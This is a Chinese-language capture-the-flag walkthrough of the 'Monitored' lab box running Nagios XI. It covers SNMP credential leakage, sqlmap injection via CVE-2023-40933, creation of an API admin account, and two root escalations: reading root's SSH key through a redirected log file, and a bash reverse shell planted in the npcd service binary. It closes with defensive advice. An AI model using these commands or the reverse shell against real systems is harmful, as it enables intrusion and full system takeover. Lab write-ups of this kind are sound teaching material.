[Meachines][Medium]Monitored
字数 1015 2025-08-19 12:42:09

Nagios XI 渗透测试实战教学文档

1. 目标识别与信息收集

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- -sC -sV 10.10.11.248 --min-rate 1000

将目标主机名添加到/etc/hosts:

echo "10.10.11.248 nagios.monitored.htb" >> /etc/hosts

1.2 SNMP信息收集

进行SNMP扫描:

nmap -sU -sC -sV 10.10.11.248 --min-rate 1000

使用snmpwalk获取信息:

snmpwalk -v2c -c public nagios.monitored.htb

从SNMP结果中获取到登录凭据:

用户名: svc
密码: XjH7VCehowpR1xZB

2. 认证与API利用

2.1 获取API Token

使用获取的凭据通过API认证:

curl -X POST -k -L -d 'username=svc&password=XjH7VCehowpR1xZB' https://nagios.monitored.htb/nagiosxi/api/v1/authenticate/

2.2 SQL注入漏洞利用(CVE-2023-40933)

使用sqlmap进行SQL注入攻击:

  1. 枚举数据库:
sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch --dbs
  1. 枚举表:
sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch -D nagiosxi --tables
  1. 转储用户表数据:
sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch -D nagiosxi -T xi_users --dump

2.3 创建管理员用户

使用获取的API Key创建新管理员用户:

curl -XPOST 'https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1' -d 'username=s-h4ck13&password=maptnh&email=maptnh@maptnh.com&name=mapth&auth_level=admin' -k

使用新创建的用户登录后台:

URL: https://nagios.monitored.htb/nagiosxi/login.php
用户名: s-h4ck13
密码: maptnh

3. 权限提升方法

3.1 获取用户标志

cat /home/nagios/user.txt

输出:

39ea0ded58be8ba1cf84a3f332e5757e

3.2 方法一:通过日志文件获取root私钥

  1. 检查sudo权限:
sudo -l
  1. 分析getprofile.sh脚本:
cat /usr/local/nagiosxi/scripts/components/getprofile.sh
  1. 修改nagios.cfg配置文件:
vi /usr/local/nagios/etc/nagios.cfg

将:

log_file=/usr/local/nagios/var/nagios.log

修改为:

log_file=/root/.ssh/id_rsa
  1. 执行getprofile.sh:
sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1
  1. 启动HTTP服务器传输文件:
cd /usr/local/nagiosxi/var/components
python -m http.server 7890
  1. 在攻击机上下载并解压:
wget http://10.10.11.248:7890/profile.zip
unzip profile.zip
  1. 使用获取的私钥登录root:
cd profile-1714316974/nagios-logs
mv nagios.txt id_rsa
chmod 400 id_rsa
ssh -i id_rsa root@10.10.11.248

获取root标志:

4c45fe55bd0f2f1364c07760c92af9d8

3.3 方法二:通过服务劫持获取root权限

  1. 分析manage_services.sh脚本:
cat /usr/local/nagiosxi/scripts/manage_services.sh
  1. 检查npcd服务状态:
systemctl status npcd
  1. 停止npcd服务:
sudo ./manage_services.sh stop npcd
  1. 删除并替换npcd可执行文件:
rm /usr/local/nagios/bin/npcd
vi /usr/local/nagios/bin/npcd

添加反弹shell代码:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.23/10034 0>&1

设置可执行权限:

chmod +x /usr/local/nagios/bin/npcd
  1. 方法2-1:直接启动服务获取shell
sudo ./manage_services.sh start npcd
  1. 方法2-2:通过getprofile.sh间接触发
sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1

两种方法均可获取root权限,root标志为:

4c45fe55bd0f2f1364c07760c92af9d8

4. 关键知识点总结

  1. SNMP信息泄露:通过SNMP协议可以获取系统敏感信息,包括用户凭据

  2. API滥用:Nagios XI的API接口可能被滥用创建管理员账户

  3. SQL注入漏洞(CVE-2023-40933):banner_message-ajaxhelper.php文件存在SQL注入漏洞

  4. 日志文件劫持:通过修改日志文件路径可以读取系统敏感文件

  5. 服务劫持:对具有高权限的服务可执行文件进行替换可实现权限提升

  6. 权限维持:通过创建管理员账户和获取root私钥可以实现持久化访问

5. 防御建议

  1. 限制SNMP访问,使用强社区字符串或升级到SNMPv3
  2. 及时更新Nagios XI系统,修复已知漏洞
  3. 实施最小权限原则,限制服务账户权限
  4. 监控关键配置文件修改
  5. 对API访问实施严格的认证和授权控制
  6. 定期审计系统权限和可执行文件完整性
Nagios XI 渗透测试实战教学文档 1. 目标识别与信息收集 1.1 初始扫描 使用Nmap进行端口扫描: 将目标主机名添加到/etc/hosts: 1.2 SNMP信息收集 进行SNMP扫描: 使用snmpwalk获取信息: 从SNMP结果中获取到登录凭据: 2. 认证与API利用 2.1 获取API Token 使用获取的凭据通过API认证: 2.2 SQL注入漏洞利用(CVE-2023-40933) 使用sqlmap进行SQL注入攻击: 枚举数据库: 枚举表: 转储用户表数据: 2.3 创建管理员用户 使用获取的API Key创建新管理员用户: 使用新创建的用户登录后台: 3. 权限提升方法 3.1 获取用户标志 输出: 3.2 方法一:通过日志文件获取root私钥 检查sudo权限: 分析getprofile.sh脚本: 修改nagios.cfg配置文件: 将: 修改为: 执行getprofile.sh: 启动HTTP服务器传输文件: 在攻击机上下载并解压: 使用获取的私钥登录root: 获取root标志: 3.3 方法二:通过服务劫持获取root权限 分析manage_ services.sh脚本: 检查npcd服务状态: 停止npcd服务: 删除并替换npcd可执行文件: 添加反弹shell代码: 设置可执行权限: 方法2-1:直接启动服务获取shell 方法2-2:通过getprofile.sh间接触发 两种方法均可获取root权限,root标志为: 4. 关键知识点总结 SNMP信息泄露 :通过SNMP协议可以获取系统敏感信息,包括用户凭据 API滥用 :Nagios XI的API接口可能被滥用创建管理员账户 SQL注入漏洞(CVE-2023-40933) :banner_ message-ajaxhelper.php文件存在SQL注入漏洞 日志文件劫持 :通过修改日志文件路径可以读取系统敏感文件 服务劫持 :对具有高权限的服务可执行文件进行替换可实现权限提升 权限维持 :通过创建管理员账户和获取root私钥可以实现持久化访问 5. 防御建议 限制SNMP访问,使用强社区字符串或升级到SNMPv3 及时更新Nagios XI系统,修复已知漏洞 实施最小权限原则,限制服务账户权限 监控关键配置文件修改 对API访问实施严格的认证和授权控制 定期审计系统权限和可执行文件完整性